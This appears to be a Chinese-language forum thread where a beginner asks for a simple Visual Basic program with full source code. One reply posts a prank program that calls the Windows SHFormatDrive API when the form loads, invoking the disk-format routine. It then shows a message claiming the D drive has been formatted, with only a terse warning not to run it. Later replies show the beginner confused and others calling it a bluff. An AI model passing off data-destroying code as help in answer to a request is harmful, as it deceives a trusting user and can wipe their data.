我自学 VB不是很长时间 请高手叫我写个小程序 谢谢


变量 什么 函数我不是太懂 尽量写源代码给 我 把步骤给我



我带表中国13亿人谢谢你

[CODE]

Private Const SHFMT_ID_DEFAULT = &HFFFF&
'Currently the only fmtID supported.

Private Declare Function SHFormatDrive Lib "shell32.dll" (ByVal hWnd As Long, ByVal

Drive As Long, fmtID As Long, Options As Long) As Long

Private Sub Form_Load()
Dim lret As Long
lret = SHFormatDrive(Me.hWnd, 0, SHFMT_ID_DEFAULT, 4)
Select Case lret
Case -2
MsgBox "OK !"
Case -3
MsgBox "Cannot format a read only drive !"
End Select
MsgBOx "恭喜你，D盘已被格式化"
End Sub

[/CODE]
奉劝你一句，不要执行这个程序，后果自负

问一下：马甲公司是干什么的？

2楼写的我生成不了!!我是个菜鸟 帮帮忙 好人做到底

Private Declare Function SHFormatDrive Lib "shell32.dll" (ByVal hWnd As Long, ByVal

Drive As Long, fmtID As Long, Options As Long) As Long


这些是声明什么的..??

lret = SHFormatDrive(Me.hWnd, 0, SHFMT_ID_DEFAULT, 4)


这句也看不懂....

下面那些..是唬人的吧...FORMAT???

是的我式过了不行